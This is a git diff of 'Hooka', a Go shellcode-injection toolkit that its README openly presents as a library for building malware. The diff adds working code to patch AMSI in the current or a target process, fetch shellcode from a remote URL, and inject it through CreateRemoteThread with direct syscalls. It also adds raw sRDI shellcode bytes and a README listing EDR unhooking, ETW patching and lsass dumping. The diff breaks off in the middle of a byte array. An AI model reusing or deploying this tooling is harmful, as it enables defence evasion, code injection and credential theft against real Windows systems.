diff --git a/README.md b/README.md
index 38d5f68..f044cca 100644
--- a/README.md
+++ b/README.md
@@ -1,10 +1,11 @@
Hooka
- ~ Windows hooks detector and shellcode injector written in Golang ~
+ ~ Shellcode injector, hooks detector and more written in Golang ~
Introduction •
+ Features •
Usage •
Library •
Contributing •
@@ -13,86 +14,210 @@
# Introduction
-I started this project
+I started this project to create a powerful shellcode injector with a lot of malleable capabilities via CLI flags like detecting hooked functions, using Hells Gate technique and more. Why in Golang? Because it's a great language to develop malware and this project can help with it by providing an stable API with some functions which can be really useful.
-There's not to much info about detecting Windows hooks in ***Golang*** so I decided to try by my own and I've also taken some code from [BananaPhone]() project (thanks a lot to ***C-Sto***)
+There isn't too much info about detecting Windows hooks in ***Golang*** so I decided to try by my own. However I've also taken some code from [BananaPhone](https://github.com/C-Sto/BananaPhone) and [Doge-Gabh](https://github.com/timwhitez/Doge-Gabh) projects (thanks a lot to ***C-Sto*** and ***timwhitez***)
+
+# Features
+
+- Inject shellcode from remote URL or local file
+- Shellcode reflective DLL injection (***sRDI***)
+- ***AMSI*** and ***ETW*** patch
+- Detects hooked functions (i.e. CreateRemoteThread)
+- Compatible with base64 and hex encoded shellcode
+- Hell's Gate technique
+- Capable of unhooking functions
+- Multiple shellcode injection techniques:
+ - CreateRemoteThread
+ - Fibers
+ - OpenProcess
+ - EarlyBirdAPC
+
+- Dump lsass.exe process to a file
+- Windows API hashing (see [here](https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware))
+- Test mode (injects a calc.exe shellcode)
# Usage
-You just have to clone the repository like this:
+Before using the project you should know that there are some functions from `ntdll.dll` that aren't usually hooked but they always appear to be hooked. Here you have all false positives:
+
+```
+NtGetTickCount
+NtQuerySystemTime
+NtdllDefWindowProc_A
+NtdllDefWindowProc_W
+NtdllDialogWndProc_A
+NtdllDialogWndProc_W
+ZwQuerySystemTime
+```
+
+Just clone the repository like this:
```sh
git clone https://github.com/D3Ext/Hooka
```
-```
-```
-
-> Detect hooked functions by EDR
+> Detect hooked functions by EDR (including false positives)
```sh
.\Hooka.exe --hooks
```
+> Test shellcode injection by spawning a calc.exe
+```sh
+.\Hooka.exe --test
+```
+
+If no technique is especified it will use a random one
+
> Inject shellcode from URL
```sh
-.\Hooka.exe --inject CreateRemoteThread --url http://192.168.116.37/shellcode.bin
+.\Hooka.exe -t CreateRemoteThread --url http://192.168.116.37/shellcode.bin
```
> Inject shellcode from file
```sh
-.\Hooka.exe --inject Fibers --file shellcode.bin
+.\Hooka.exe -t Fibers --file shellcode.bin
```
> Inject shellcode using Hell's Gate
```sh
-.\Hooka.exe --inject CreateRemoteThread --url http://192.168.116.37/shellcode.bin --hells
+.\Hooka.exe --url http://192.168.116.37/shellcode.bin --hells
+```
+
+> Unhook function before injecting shellcode
+```sh
+.\Hooka.exe -t OpenProcess --file shellcode.bin --unhook
```
# Demo
> Detecting hooks
-
+
> Injecting shellcode via CreateRemoteThread
-
+
+
+> Test function
+
+
+> Dump lsass memory
+
+
+# TODO
+
+:black_square_button: Stable API for CLR functions
+
+:black_square_button: More injection techniques
+
+:black_square_button: Better error handling
# Library
-If you're looking to implement any function in your malware you can do it using the official library API:
+If you're looking to implement any function in your malware you can do it using the official package API:
> First of all download the package
```sh
-go get github.com/D3Ext/Hooka/pkg
+go get github.com/D3Ext/Hooka/pkg/hooka
```
-
+> Detect hooked functions (including false positives)
```go
-...
+package main
+import (
+ "fmt"
+ "log"
+ "github.com/D3Ext/Hooka/pkg/hooka"
+)
-...
+func main(){
+ // Returns all hooked functions
+ hooks, err := hooka.DetectHooks() // func DetectHooks() ([]string, error) {}
+ if err != nil {
+ log.Fatal(err)
+ }
+ fmt.Println(hooks)
+
+ // Check if an especific function is hooked
+ check, err := hooka.IsHooked("CreateRemoteThread") // func IsHooked(funcname string) (bool, error) {}
+ if err != nil {
+ log.Fatal(err)
+ }
+ fmt.Println(check) // true or false
+}
```
-
+> Resolve syscalls via API hashing
```go
-...
+package main
+import (
+ "fmt"
+ "log"
+ "github.com/D3Ext/Hooka/pkg/hooka"
+)
-...
+func main(){
+
+ // = CreateRemoteThread
+ proc, err := hooka.FuncFromHash("") // Returns a pointer to function like NewProc()
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ proc.Call()
+
+ ...
+}
+```
+
+> Apply AMSI and ETW patch
+```go
+package main
+
+import (
+ "fmt"
+ "log"
+
+ "github.com/D3Ext/Hooka/pkg/hooka"
+)
+
+func main(){
+ // Amsi bypass
+ err := hooka.PatchAmsi(0) // Use 0 for own process
+ if err != nil {
+ log.Fatal(err)
+ }
+ fmt.Println("AMSI bypassed!")
+
+ // ETW bypass
+ err = hooka.PatchEtw()
+ if err != nil {
+ log.Fatal(err)
+ }
+ fmt.Println("ETW bypassed!")
+}
+```
+
+> Unhook a function
+```go
+package main
```
# Contributing
Do you wanna improve the code with any idea or code optimization? You're in the right place
-See [CONTRIBUTING.md]()
+See [CONTRIBUTING.md](https://github.com/D3Ext/Hooka/blob/main/CONTRIBUTING.md)
# References
```
https://github.com/C-Sto/BananaPhone
+https://github.com/timwhitez/Doge-Gabh
+https://github.com/Ne0nd0g/go-shellcode
https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions#checking-for-hooks
https://github.com/Kara-4search/HookDetection_CSharp
https://teamhydra.blog/2020/09/18/implementing-direct-syscalls-using-hells-gate/
@@ -106,7 +231,7 @@ Use this project under your own responsability!
# License
-This project is licensed under [MIT]() license
+This project is licensed under [MIT](https://github.com/D3Ext/Hooka/blob/main/LICENSE) license
Copyright © 2023, *D3Ext*
diff --git a/assets/gopher.png b/assets/gopher.png
new file mode 100644
index 0000000..d6b03fd
Binary files /dev/null and b/assets/gopher.png differ
diff --git a/core/amsi.go b/core/amsi.go
new file mode 100644
index 0000000..6edff42
--- /dev/null
+++ b/core/amsi.go
@@ -0,0 +1,83 @@
+package core
+
+/*
+
+References:
+
+
+*/
+
+import (
+ //"errors"
+ "fmt"
+ "time"
+ "unsafe"
+ "syscall"
+
+ "golang.org/x/sys/windows"
+)
+
+var amsi_patch = []byte{0xc3}
+
+func PatchAmsi(pid int) (error) {
+
+ amsidll := syscall.NewLazyDLL("amsi.dll") // Load DLLs
+ kernel32 := syscall.NewLazyDLL("kernel32.dll")
+
+ amsiScanBuffer := amsidll.NewProc("AmsiScanBuffer")
+ amsiScanString := amsidll.NewProc("AmsiScanString")
+ amsiInitialize := amsidll.NewProc("AmsiInitialize")
+ openProcess := kernel32.NewProc("OpenProcess")
+ closeHandle := kernel32.NewProc("CloseHandle")
+ getCurrentProcess := kernel32.NewProc("GetCurrentProcess")
+ virtualProtectEx := kernel32.NewProc("VirtualProtectEx")
+ writeProcessMemory := kernel32.NewProc("WriteProcessMemory")
+
+ time.Sleep(100 * time.Millisecond)
+
+ var handle uintptr
+ var err error
+
+ if (pid == 0) {
+ handle, _, _ = getCurrentProcess.Call()
+ } else {
+ handle, _, _ = openProcess.Call(uintptr(0x1F0FFF), uintptr(0), uintptr(pid))
+ }
+
+ addresses := []uintptr{
+ amsiInitialize.Addr(),
+ amsiScanBuffer.Addr(),
+ amsiScanString.Addr(),
+ }
+
+ var oldProtect uint32
+ var old uint32
+
+ time.Sleep(100 * time.Millisecond)
+
+ for _, addr := range addresses {
+
+ _, _, err = virtualProtectEx.Call(uintptr(handle), addr, uintptr(1), windows.PAGE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
+ if err != nil {
+ fmt.Println("error virtualProtectEx")
+ }
+
+ //writeProcessMemory.Call(uintptr(handle), addr, uintptr(unsafe.Pointer(&amsi_patch[0])), uintptr(len(amsi_patch)))
+ r1, _, _ := writeProcessMemory.Call(uintptr(handle), addr, uintptr(unsafe.Pointer(&amsi_patch[0])), uintptr(len(amsi_patch)))
+ if r1 == 0 {
+ fmt.Println("error writeProcessMemory")
+ }
+
+ //virtualProtectEx.Call(uintptr(handle), addr, uintptr(1), uintptr(oldProtect), uintptr(unsafe.Pointer(&old)))
+ _, _, err = virtualProtectEx.Call(uintptr(handle), addr, uintptr(1), uintptr(oldProtect), uintptr(unsafe.Pointer(&old)))
+ if err != nil {
+ fmt.Println("error virtualProtectEx")
+ }
+
+ }
+
+ closeHandle.Call(handle)
+ return nil
+}
+
+
diff --git a/core/auxiliary.go b/core/auxiliary.go
new file mode 100644
index 0000000..f5bf001
--- /dev/null
+++ b/core/auxiliary.go
@@ -0,0 +1,106 @@
+package core
+
+import (
+ "io"
+ "os"
+ "fmt"
+ "time"
+ "bytes"
+ "net/http"
+ "math/rand"
+ "io/ioutil"
+ "crypto/sha1"
+ "encoding/binary"
+
+ // Third-party packages
+ "github.com/Binject/debug/pe"
+)
+
+const ntdllpath = "C:\\Windows\\System32\\ntdll.dll"
+const kernel32path = "C:\\Windows\\System32\\kernel32.dll"
+var HookCheck = []byte{0x4c, 0x8b, 0xd1, 0xb8} // Define hooked bytes to look for
+
+type MayBeHookedError struct { // Define custom error for hooked functions
+ Foundbytes []byte
+}
+
+func (e MayBeHookedError) Error() string {
+ return fmt.Sprintf("may be hooked: wanted %x got %x", HookCheck, e.Foundbytes)
+}
+
+func RvaToOffset(pefile *pe.File, rva uint32) (uint32) {
+ for _, hdr := range pefile.Sections {
+ baseoffset := uint64(rva)
+ if baseoffset > uint64(hdr.VirtualAddress) &&
+ baseoffset < uint64(hdr.VirtualAddress+hdr.VirtualSize) {
+ return rva - hdr.VirtualAddress + hdr.Offset
+ }
+ }
+ return rva
+}
+
+func CheckBytes(b []byte) (uint16, error) {
+ if bytes.HasPrefix(b, HookCheck) == true { // Check syscall bytes
+ return 0, MayBeHookedError{Foundbytes: b}
+ }
+
+ return binary.LittleEndian.Uint16(b[4:8]), nil
+}
+
+// Generate a random integer between range
+
+func RandomInt(max int, min int) (int) { // Return a random number between max and min
+ rand.Seed(time.Now().UnixNano())
+ rand_int := rand.Intn(max - min + 1) + min
+ return rand_int
+}
+
+// Shellcode helper functions
+
+func GetShellcodeFromUrl(sc_url string) ([]byte, error) { // Make request to URL return shellcode
+ req, err := http.NewRequest("GET", sc_url, nil)
+ if err != nil {
+ return []byte(""), err
+ }
+
+ req.Header.Set("Accept", "application/x-www-form-urlencoded")
+ req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36")
+ client := &http.Client{}
+ resp, err := client.Do(req)
+ if err != nil {
+ return []byte(""), err
+ }
+ defer resp.Body.Close()
+
+ b, err := io.ReadAll(resp.Body)
+ if err != nil {
+ return []byte(""), err
+ }
+ return b, nil
+}
+
+func GetShellcodeFromFile(file string) ([]byte, error) { // Read given file and return content in bytes
+ f, err := os.Open(file)
+ if err != nil {
+ return []byte(""), err
+ }
+ defer f.Close()
+
+ shellcode_bytes, err := ioutil.ReadAll(f)
+ if err != nil {
+ return []byte(""), err
+ }
+
+ return shellcode_bytes, nil
+}
+
+// Convert string to Sha1 (used for hashing)
+
+func StrToSha1(str string) (string) {
+ h := sha1.New()
+ h.Write([]byte(str))
+ bs := h.Sum(nil)
+ return fmt.Sprintf("%x", bs)
+}
+
+
diff --git a/core/calc.go b/core/calc.go
new file mode 100644
index 0000000..d989224
--- /dev/null
+++ b/core/calc.go
@@ -0,0 +1,15 @@
+package core
+
+/*
+
+This package defines calc.exe shellcode which is used in --test function
+
+*/
+
+func CalcShellcode() ([]byte) {
+ return []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
+}
+
+
+
+
diff --git a/core/createremotethread.go b/core/createremotethread.go
new file mode 100644
index 0000000..edc04eb
--- /dev/null
+++ b/core/createremotethread.go
@@ -0,0 +1,104 @@
+package core
+
+import (
+ "fmt"
+ "unsafe"
+ "syscall"
+
+ // Third-party
+ bap "github.com/C-Sto/BananaPhone/pkg/BananaPhone"
+
+ // Internal
+ "golang.org/x/sys/windows"
+)
+
+func CreateThread(shellcode []byte, handle uintptr, NtAllocateVirtualMemorySysid, NtProtectVirtualMemorySysid, NtCreateThreadExSysid uint16) {
+ const (
+ thisThread = uintptr(0xffffffffffffffff)
+ memCommit = uintptr(0x00001000)
+ memreserve = uintptr(0x00002000)
+ )
+
+ var baseA uintptr
+ regionsize := uintptr(len(shellcode))
+ r1, r := bap.Syscall(
+ NtAllocateVirtualMemorySysid,
+ handle,
+ uintptr(unsafe.Pointer(&baseA)),
+ 0,
+ uintptr(unsafe.Pointer(®ionsize)),
+ uintptr(memCommit|memreserve),
+ syscall.PAGE_READWRITE,
+ )
+ if r != nil {
+ fmt.Printf("1 %s %x\n", r, r1)
+ return
+ }
+ bap.WriteMemory(shellcode, baseA)
+
+ var oldprotect uintptr
+ r1, r = bap.Syscall(
+ NtProtectVirtualMemorySysid,
+ handle,
+ uintptr(unsafe.Pointer(&baseA)),
+ uintptr(unsafe.Pointer(®ionsize)),
+ syscall.PAGE_EXECUTE_READ,
+ uintptr(unsafe.Pointer(&oldprotect)),
+ )
+ var hhosthread uintptr
+ r1, r = bap.Syscall(
+ NtCreateThreadExSysid,
+ uintptr(unsafe.Pointer(&hhosthread)),
+ 0x1FFFFF,
+ 0,
+ handle,
+ baseA,
+ 0,
+ uintptr(0),
+ 0,
+ 0,
+ 0,
+ 0,
+ )
+ syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff)
+}
+
+
+func CreateRemoteThread(shellcode []byte) (error) {
+ kernel32DLL := windows.NewLazySystemDLL("kernel32.dll")
+ VirtualProtectEx := kernel32DLL.NewProc("VirtualProtectEx")
+
+ bp, e := bap.NewBananaPhone(bap.AutoBananaPhoneMode)
+ if e != nil {
+ return e
+ }
+
+ mess, e := bp.GetFuncPtr("NtCreateThreadEx")
+ if e != nil {
+ return e
+ }
+
+ oldProtect := windows.PAGE_EXECUTE_READ
+ VirtualProtectEx.Call(uintptr(0xffffffffffffffff), uintptr(mess), uintptr(0x100), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
+
+ bap.WriteMemory([]byte{0x90, 0x90, 0x4c, 0x8b, 0xd1, 0xb8, 0xc1, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90}, uintptr(mess))
+
+ alloc, e := bp.GetSysID("NtAllocateVirtualMemory")
+ if e != nil {
+ return e
+ }
+ protect, e := bp.GetSysID("NtProtectVirtualMemory")
+ if e != nil {
+ return e
+ }
+ createthread, e := bp.GetSysID("NtCreateThreadEx")
+ if e != nil {
+ return e
+ }
+
+ CreateThread(shellcode, uintptr(0xffffffffffffffff), alloc, protect, createthread)
+ return nil
+}
+
+
+
diff --git a/core/dll.go b/core/dll.go
new file mode 100644
index 0000000..ef54c28
--- /dev/null
+++ b/core/dll.go
@@ -0,0 +1,259 @@
+package core
+
+/*
+
+References:
+
+All this functions are taken and ligthly modified from the original gist, thanks to him
+https://gist.github.com/leoloobeek/c726719d25d7e7953d4121bd93dd2ed3
+
+*/
+
+import (
+ "encoding/binary"
+ "io/ioutil"
+ "math"
+)
+
+const (
+ flags = 0
+)
+
+func ConvertDllToShellcode(dll_file string, func_name string, data string) ([]byte, error) {
+ // Read dll file as bytes
+ dllBytes, err := readFile(dll_file)
+ if err != nil {
+ return []byte(""), err
+ }
+
+ var hashFunction []byte
+ if func_name != "" { // Check if dll function name is default or not
+ hashFunctionUint32 := hashFunctionName(func_name)
+ hashFunction = pack(hashFunctionUint32)
+ } else {
+ hashFunction = pack(uint32(0x10))
+ }
+
+ sc := ConvertBytes(dllBytes, hashFunction, []byte(data))
+ return sc, nil
+}
+
+//
+//
+// Auxiliary functions down here
+//
+//
+
+func ConvertBytes(dllBytes, functionHash, userData []byte) ([]byte) {
+ rdiShellcode32 := []byte{0x83, 0xEC, 0x48, 0x83, 0x64, 0x24, 0x18, 0x00, 0xB9, 0x4C, 0x77, 0x26, 0x07, 0x53, 0x55, 0x56, 0x57, 0x33, 0xF6, 0xE8, 0x22, 0x04, 0x00, 0x00, 0xB9, 0x49, 0xF7, 0x02, 0x78, 0x89, 0x44, 0x24, 0x1C, 0xE8, 0x14, 0x04, 0x00, 0x00, 0xB9, 0x58, 0xA4, 0x53, 0xE5, 0x89, 0x44, 0x24, 0x20, 0xE8, 0x06, 0x04, 0x00, 0x00, 0xB9, 0x10, 0xE1, 0x8A, 0xC3, 0x8B, 0xE8, 0xE8, 0xFA, 0x03, 0x00, 0x00, 0xB9, 0xAF, 0xB1, 0x5C, 0x94, 0x89, 0x44, 0x24, 0x2C, 0xE8, 0xEC, 0x03, 0x00, 0x00, 0xB9, 0x33, 0x00, 0x9E, 0x95, 0x89, 0x44, 0x24, 0x30, 0xE8, 0xDE, 0x03, 0x00, 0x00, 0x8B, 0xD8, 0x8B, 0x44, 0x24, 0x5C, 0x8B, 0x78, 0x3C, 0x03, 0xF8, 0x89, 0x7C, 0x24, 0x10, 0x81, 0x3F, 0x50, 0x45, 0x00, 0x00, 0x74, 0x07, 0x33, 0xC0, 0xE9, 0xB8, 0x03, 0x00, 0x00, 0xB8, 0x4C, 0x01, 0x00, 0x00, 0x66, 0x39, 0x47, 0x04, 0x75, 0xEE, 0xF6, 0x47, 0x38, 0x01, 0x75, 0xE8, 0x0F, 0xB7, 0x57, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x85, 0xD2, 0x74, 0x22, 0x8D, 0x4F, 0x24, 0x03, 0xC8, 0x83, 0x79, 0x04, 0x00, 0x8B, 0x01, 0x75, 0x05, 0x03, 0x47, 0x38, 0xEB, 0x03, 0x03, 0x41, 0x04, 0x3B, 0xC6, 0x0F, 0x47, 0xF0, 0x83, 0xC1, 0x28, 0x83, 0xEA, 0x01, 0x75, 0xE3, 0x8D, 0x44, 0x24, 0x34, 0x50, 0xFF, 0xD3, 0x8B, 0x44, 0x24, 0x38, 0x8B, 0x5F, 0x50, 0x8D, 0x50, 0xFF, 0x8D, 0x48, 0xFF, 0xF7, 0xD2, 0x48, 0x03, 0xCE, 0x03, 0xC3, 0x23, 0xCA, 0x23, 0xC2, 0x3B, 0xC1, 0x75, 0x97, 0x6A, 0x04, 0x68, 0x00, 0x30, 0x00, 0x00, 0x53, 0x6A, 0x00, 0xFF, 0xD5, 0x8B, 0x77, 0x54, 0x8B, 0xD8, 0x8B, 0x44, 0x24, 0x5C, 0x33, 0xC9, 0x89, 0x44, 0x24, 0x14, 0x8B, 0xD3, 0x33, 0xC0, 0x89, 0x5C, 0x24, 0x18, 0x40, 0x89, 0x44, 0x24, 0x24, 0x85, 0xF6, 0x74, 0x37, 0x8B, 0x6C, 0x24, 0x6C, 0x8B, 0x5C, 0x24, 0x14, 0x23, 0xE8, 0x4E, 0x85, 0xED, 0x74, 0x19, 0x8B, 0xC7, 0x2B, 0x44, 0x24, 0x5C, 0x3B, 0xC8, 0x73, 0x0F, 0x83, 0xF9, 0x3C, 0x72, 0x05, 0x83, 0xF9, 0x3E, 0x76, 0x05, 0xC6, 0x02, 0x00, 0xEB, 0x04, 0x8A, 0x03, 0x88, 0x02, 0x41, 0x43, 0x42, 0x85, 0xF6, 0x75, 0xD7, 0x8B, 0x5C, 0x24, 0x18, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x85, 0xC0, 0x74, 0x38, 0x83, 0xC7, 0x2C, 0x03, 0xCF, 0x8B, 0x7C, 0x24, 0x5C, 0x8B, 0x51, 0xF8, 0x48, 0x8B, 0x31, 0x03, 0xD3, 0x8B, 0x69, 0xFC, 0x03, 0xF7, 0x89, 0x44, 0x24, 0x5C, 0x85, 0xED, 0x74, 0x0F, 0x8A, 0x06, 0x88, 0x02, 0x42, 0x46, 0x83, 0xED, 0x01, 0x75, 0xF5, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC1, 0x28, 0x85, 0xC0, 0x75, 0xD5, 0x8B, 0x7C, 0x24, 0x10, 0x8B, 0xB7, 0x80, 0x00, 0x00, 0x00, 0x03, 0xF3, 0x89, 0x74, 0x24, 0x14, 0x8B, 0x46, 0x0C, 0x85, 0xC0, 0x74, 0x7D, 0x03, 0xC3, 0x50, 0xFF, 0x54, 0x24, 0x20, 0x8B, 0x6E, 0x10, 0x8B, 0xF8, 0x8B, 0x06, 0x03, 0xEB, 0x03, 0xC3, 0x89, 0x44, 0x24, 0x5C, 0x83, 0x7D, 0x00, 0x00, 0x74, 0x4F, 0x8B, 0x74, 0x24, 0x20, 0x8B, 0x08, 0x85, 0xC9, 0x74, 0x1E, 0x79, 0x1C, 0x8B, 0x47, 0x3C, 0x0F, 0xB7, 0xC9, 0x8B, 0x44, 0x38, 0x78, 0x2B, 0x4C, 0x38, 0x10, 0x8B, 0x44, 0x38, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x38, 0x03, 0xC7, 0xEB, 0x0C, 0x8B, 0x45, 0x00, 0x83, 0xC0, 0x02, 0x03, 0xC3, 0x50, 0x57, 0xFF, 0xD6, 0x89, 0x45, 0x00, 0x83, 0xC5, 0x04, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x5C, 0x83, 0x7D, 0x00, 0x00, 0x75, 0xB9, 0x8B, 0x74, 0x24, 0x14, 0x8B, 0x46, 0x20, 0x83, 0xC6, 0x14, 0x89, 0x74, 0x24, 0x14, 0x85, 0xC0, 0x75, 0x87, 0x8B, 0x7C, 0x24, 0x10, 0x8B, 0xEB, 0x2B, 0x6F, 0x34, 0x83, 0xBF, 0xA4, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0xAA, 0x00, 0x00, 0x00, 0x8B, 0x97, 0xA0, 0x00, 0x00, 0x00, 0x03, 0xD3, 0x89, 0x54, 0x24, 0x5C, 0x8D, 0x4A, 0x04, 0x8B, 0x01, 0x89, 0x4C, 0x24, 0x14, 0x85, 0xC0, 0x0F, 0x84, 0x8D, 0x00, 0x00, 0x00, 0x8B, 0x32, 0x8D, 0x78, 0xF8, 0x03, 0xF3, 0x8D, 0x42, 0x08, 0xD1, 0xEF, 0x89, 0x44, 0x24, 0x20, 0x74, 0x60, 0x6A, 0x02, 0x8B, 0xD8, 0x5A, 0x0F, 0xB7, 0x0B, 0x4F, 0x66, 0x8B, 0xC1, 0x66, 0xC1, 0xE8, 0x0C, 0x66, 0x83, 0xF8, 0x0A, 0x74, 0x06, 0x66, 0x83, 0xF8, 0x03, 0x75, 0x0B, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x01, 0x2C, 0x31, 0xEB, 0x27, 0x66, 0x3B, 0x44, 0x24, 0x24, 0x75, 0x11, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x8B, 0xC5, 0xC1, 0xE8, 0x10, 0x66, 0x01, 0x04, 0x31, 0xEB, 0x0F, 0x66, 0x3B, 0xC2, 0x75, 0x0A, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x66, 0x01, 0x2C, 0x31, 0x03, 0xDA, 0x85, 0xFF, 0x75, 0xB1, 0x8B, 0x5C, 0x24, 0x18, 0x8B, 0x54, 0x24, 0x5C, 0x8B, 0x4C, 0x24, 0x14, 0x03, 0x11, 0x89, 0x54, 0x24, 0x5C, 0x8D, 0x4A, 0x04, 0x8B, 0x01, 0x89, 0x4C, 0x24, 0x14, 0x85, 0xC0, 0x0F, 0x85, 0x77, 0xFF, 0xFF, 0xFF, 0x8B, 0x7C, 0x24, 0x10, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x85, 0xC0, 0x0F, 0x84, 0xB7, 0x00, 0x00, 0x00, 0x8B, 0x74, 0x24, 0x5C, 0x8D, 0x6F, 0x3C, 0x03, 0xE9, 0x48, 0x83, 0x7D, 0xEC, 0x00, 0x89, 0x44, 0x24, 0x24, 0x0F, 0x86, 0x94, 0x00, 0x00, 0x00, 0x8B, 0x4D, 0x00, 0x33, 0xD2, 0x42, 0x8B, 0xC1, 0xC1, 0xE8, 0x1D, 0x23, 0xC2, 0x8B, 0xD1, 0xC1, 0xEA, 0x1E, 0x83, 0xE2, 0x01, 0xC1, 0xE9, 0x1F, 0x85, 0xC0, 0x75, 0x18, 0x85, 0xD2, 0x75, 0x07, 0x6A, 0x08, 0x5E, 0x6A, 0x01, 0xEB, 0x05, 0x6A, 0x04, 0x5E, 0x6A, 0x02, 0x85, 0xC9, 0x58, 0x0F, 0x44, 0xF0, 0xEB, 0x2C, 0x85, 0xD2, 0x75, 0x17, 0x85, 0xC9, 0x75, 0x04, 0x6A, 0x10, 0xEB, 0x15, 0x85, 0xD2, 0x75, 0x0B, 0x85, 0xC9, 0x74, 0x18, 0xBE, 0x80, 0x00, 0x00, 0x00, 0xEB, 0x11, 0x85, 0xC9, 0x75, 0x05, 0x6A, 0x20, 0x5E, 0xEB, 0x08, 0x6A, 0x40, 0x85, 0xC9, 0x58, 0x0F, 0x45, 0xF0, 0x8B, 0x4D, 0x00, 0x8B, 0xC6, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x81, 0xE1, 0x00, 0x00, 0x00, 0x04, 0x0F, 0x44, 0xC6, 0x8B, 0xF0, 0x8D, 0x44, 0x24, 0x28, 0x50, 0x8B, 0x45, 0xE8, 0x56, 0xFF, 0x75, 0xEC, 0x03, 0xC3, 0x50, 0xFF, 0x54, 0x24, 0x3C, 0x85, 0xC0, 0x0F, 0x84, 0xEC, 0xFC, 0xFF, 0xFF, 0x8B, 0x44, 0x24, 0x24, 0x83, 0xC5, 0x28, 0x85, 0xC0, 0x0F, 0x85, 0x52, 0xFF, 0xFF, 0xFF, 0x8B, 0x77, 0x28, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0xFF, 0x03, 0xF3, 0xFF, 0x54, 0x24, 0x3C, 0x33, 0xC0, 0x40, 0x50, 0x50, 0x53, 0xFF, 0xD6, 0x83, 0x7C, 0x24, 0x60, 0x00, 0x74, 0x7C, 0x83, 0x7F, 0x7C, 0x00, 0x74, 0x76, 0x8B, 0x4F, 0x78, 0x03, 0xCB, 0x8B, 0x41, 0x18, 0x85, 0xC0, 0x74, 0x6A, 0x83, 0x79, 0x14, 0x00, 0x74, 0x64, 0x8B, 0x69, 0x20, 0x8B, 0x79, 0x24, 0x03, 0xEB, 0x83, 0x64, 0x24, 0x5C, 0x00, 0x03, 0xFB, 0x85, 0xC0, 0x74, 0x51, 0x8B, 0x75, 0x00, 0x03, 0xF3, 0x33, 0xD2, 0x0F, 0xBE, 0x06, 0xC1, 0xCA, 0x0D, 0x03, 0xD0, 0x46, 0x80, 0x7E, 0xFF, 0x00, 0x75, 0xF1, 0x39, 0x54, 0x24, 0x60, 0x74, 0x16, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC5, 0x04, 0x40, 0x83, 0xC7, 0x02, 0x89, 0x44, 0x24, 0x5C, 0x3B, 0x41, 0x18, 0x72, 0xD0, 0xEB, 0x1F, 0x0F, 0xB7, 0x17, 0x83, 0xFA, 0xFF, 0x74, 0x17, 0x8B, 0x41, 0x1C, 0xFF, 0x74, 0x24, 0x68, 0xFF, 0x74, 0x24, 0x68, 0x8D, 0x04, 0x90, 0x8B, 0x04, 0x18, 0x03, 0xC3, 0xFF, 0xD0, 0x59, 0x59, 0x8B, 0xC3, 0x5F, 0x5E, 0x5D, 0x5B, 0x83, 0xC4, 0x48, 0xC3, 0x83, 0xEC, 0x10, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x53, 0x55, 0x56, 0x8B, 0x40, 0x0C, 0x57, 0x89, 0x4C, 0x24, 0x18, 0x8B, 0x70, 0x0C, 0xE9, 0x8A, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x30, 0x33, 0xC9, 0x8B, 0x5E, 0x2C, 0x8B, 0x36, 0x89, 0x44, 0x24, 0x14, 0x8B, 0x42, 0x3C, 0x8B, 0x6C, 0x10, 0x78, 0x89, 0x6C, 0x24, 0x10, 0x85, 0xED, 0x74, 0x6D, 0xC1, 0xEB, 0x10, 0x33, 0xFF, 0x85, 0xDB, 0x74, 0x1F, 0x8B, 0x6C, 0x24, 0x14, 0x8A, 0x04, 0x2F, 0xC1, 0xC9, 0x0D, 0x3C, 0x61, 0x0F, 0xBE, 0xC0, 0x7C, 0x03, 0x83, 0xC1, 0xE0, 0x03, 0xC8, 0x47, 0x3B, 0xFB, 0x72, 0xE9, 0x8B, 0x6C, 0x24, 0x10, 0x8B, 0x44, 0x2A, 0x20, 0x33, 0xDB, 0x8B, 0x7C, 0x2A, 0x18, 0x03, 0xC2, 0x89, 0x7C, 0x24, 0x14, 0x85, 0xFF, 0x74, 